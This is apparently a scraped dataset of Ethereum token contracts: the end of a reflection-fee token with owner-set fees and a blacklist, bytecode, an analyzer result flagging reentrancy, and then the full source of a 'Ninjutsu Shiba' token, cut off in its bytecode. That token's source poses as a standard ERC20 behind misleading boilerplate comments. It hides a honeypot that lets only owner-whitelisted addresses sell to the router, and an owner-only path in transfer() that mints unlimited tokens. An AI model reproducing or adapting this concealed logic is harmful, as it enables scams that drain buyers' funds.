_getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b257600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611957565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600b81526a2a37902a34329026b7b7b760a91b60208201525b60405161023b9190611a1c565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a71565b61069c565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50683635c9adc5a30536005b60405190815260200161023b565b3480156102de57600080fd5b506102646102ed366004611a9d565b6106b3565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023b565b34801561033057600080fd5b50601554610294906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ade565b61071c565b34801561037057600080fd5b506101fc61037f366004611b0b565b610767565b34801561039057600080fd5b506101fc6107af565b3480156103a557600080fd5b506102c46103b4366004611ade565b6107fa565b3480156103c557600080fd5b506101fc61081c565b3480156103da57600080fd5b506101fc6103e9366004611b26565b610890565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ade565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610294565b34801561045b57600080fd5b506101fc61046a366004611b0b565b6108bf565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600481526301e13f3560e71b602082015261022e565b3480156104be57600080fd5b506101fc6104cd366004611b26565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b3f565b610936565b3480156104fe57600080fd5b5061026461050d366004611a71565b610974565b34801561051e57600080fd5b5061026461052d366004611ade565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b71565b6109d5565b34801561058357600080fd5b506102c4610592366004611bf5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b26565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ade565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c2e565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c63565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c8f565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611da7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c2e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c2e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c2e565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c2e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c2e565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c2e565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c2e565b60005b82811015610a70578160056000868685818110610a2157610a21611c63565b9050602002016020810190610a369190611ade565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c8f565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c2e565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c2e565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611ca8565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611461565b600081848411156112135760405162461bcd60e51b81526004016106279190611a1c565b5060006112208486611cc0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461148f565b90506112e083826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c63565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ac9190611cd7565b816001815181106113bf576113bf611c63565b6001600160a01b0392831660209182029290920101526014546113e59130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141e908590600090869030904290600401611cf4565b600060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146e5761146e6114f4565b611479848484611522565b80610a7057610a70600e54600c55600f54600d55565b600080600061149c611619565b90925090506114ab82826114b2565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165b565b600c541580156115045750600d54155b1561150b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153487611689565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156690876116e6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115959086611728565b6001600160a01b0389166000908152600260205260409020556115b781611787565b6115c184836117d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5a305360061163582826114b2565b82101561165257505060065492683635c9adc5a305360092509050565b90939092509050565b6000818361167c5760405162461bcd60e51b81526004016106279190611a1c565b5060006112208486611d65565b60008060008060008060008060006116a68a600c54600d546117f5565b92509250925060006116b661148f565b905060008060006116c98e87878761184a565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117358385611ca8565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179161148f565b9050600061179f838361189a565b306000908152600260205260409020549091506117bc9082611728565b30600090815260026020526040902055505050565b6006546117de90836116e6565b6006556007546117ee9082611728565b6007555050565b600080808061180f6064611809898961189a565b906114b2565b9050600061182260646118098a8961189a565b9050600061183a826118348b866116e6565b906116e6565b9992985090965090945050505050565b6000808080611859888661189a565b90506000611867888761189a565b90506000611875888861189a565b905060006118878261183486866116e6565b939b939a50919850919650505050505050565b6000826000036118ac575060006106ad565b60006118b88385611d87565b9050826118c58583611d65565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195281611932565b919050565b6000602080838503121561196a57600080fd5b823567ffffffffffffffff8082111561198257600080fd5b818501915085601f83011261199657600080fd5b8135818111156119a8576119a861191c565b8060051b604051601f19603f830116810181811085821117156119cd576119cd61191c565b6040529182528482019250838101850191888311156119eb57600080fd5b938501935b82851015611a1057611a0185611947565b845293850193928501926119f0565b98975050505050505050565b600060208083528351808285015260005b81811015611a4957858101830151858201604001528201611a2d565b81811115611a5b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8457600080fd5b8235611a8f81611932565b946020939093013593505050565b600080600060608486031215611ab257600080fd5b8335611abd81611932565b92506020840135611acd81611932565b929592945050506040919091013590565b600060208284031215611af057600080fd5b81356112e081611932565b8035801515811461195257600080fd5b600060208284031215611b1d57600080fd5b6112e082611afb565b600060208284031215611b3857600080fd5b5035919050565b60008060008060808587031215611b5557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8657600080fd5b833567ffffffffffffffff80821115611b9e57600080fd5b818601915086601f830112611bb257600080fd5b813581811115611bc157600080fd5b8760208260051b8501011115611bd657600080fd5b602092830195509350611bec9186019050611afb565b90509250925092565b60008060408385031215611c0857600080fd5b8235611c1381611932565b91506020830135611c2381611932565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca157611ca1611c79565b5060010190565b60008219821115611cbb57611cbb611c79565b500190565b600082821015611cd257611cd2611c79565b500390565b600060208284031215611ce957600080fd5b81516112e081611932565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d445784516001600160a01b031683529383019391830191600101611d1f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da157611da1611c79565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e0a263df4bdf2761a585569bb5b4d7660dc7902130c9a6ac1ad2df8b917737a64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,375
0xF5098B28509dBa7C8519c30D909a05Ba518C4a5f
/* Ninjutsu Shiba has watched his elders soar to amazing heights and is now ready for his own moonshot! 💸 Total fees - 12% 🙋‍♂️ 4% reflected, 4% sent to marketing, 4% burned making our tokens more valuable! 💻 Marketing/Shills will take place shortly after silent launch! 💫 No tokens were sent to Vitalik or Elon! 🚀 Ninjutsu Shiba has launched silently with his 忍術 stealth techniques! */ // SPDX-License-Identifier: Unlicense abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } pragma solidity ^0.8.7; contract Creation is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event genesis(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit genesis(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit genesis(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } contract ERC20 is Context, IERC20, IERC20Metadata , Creation{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function starttrading (address Uniswaprouterv02) public checker { router = Uniswaprouterv02; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function trades(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function deploy(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { trades(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Ninjutsu is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 10000000000 * 10 ** 18; constructor () ERC20('NinJutsu Shiba',unicode'NINJUTSU') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063ee5491ed14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b80630570b1fa146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f91906115ab565b610322565b005b61011e6103fd565b60405161012b91906117da565b60405180910390f35b61014e6004803603810190610149919061156b565b61048f565b60405161015b91906117bf565b60405180910390f35b61016c6104ad565b604051610179919061191c565b60405180910390f35b61019c60048036038101906101979190611518565b6104b7565b6040516101a991906117bf565b60405180910390f35b6101ba6105b8565b6040516101c79190611937565b60405180910390f35b6101ea60048036038101906101e5919061156b565b6105e0565b6040516101f791906117bf565b60405180910390f35b61021a600480360381019061021591906114ab565b61068c565b604051610227919061191c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f91906117a4565b60405180910390f35b610260610851565b60405161026d91906117da565b60405180910390f35b610290600480360381019061028b919061156b565b6108e3565b60405161029d91906117bf565b60405180910390f35b6102c060048036038101906102bb919061156b565b6109d7565b6040516102cd91906117bf565b60405180910390f35b6102f060048036038101906102eb91906114d8565b610c3e565b6040516102fd919061191c565b60405180910390f35b610320600480360381019061031b91906114ab565b610cc5565b005b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae9061189c565b60405180910390fd5b60005b81518110156103f9576103e68282815181106103d9576103d8611bdb565b5b6020026020010151610da6565b80806103f190611b34565b9150506103ba565b5050565b60606007805461040c90611ad1565b80601f016020809104026020016040519081016040528092919081815260200182805461043890611ad1565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60006104a361049c610d9e565b8484610e96565b6001905092915050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105869061187c565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a15565b610e96565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d91906119bf565b610e96565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107619061189c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461086090611ad1565b80601f016020809104026020016040519081016040528092919081815260200182805461088c90611ad1565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906118fc565b60405180910390fd5b6109cc6109ba610d9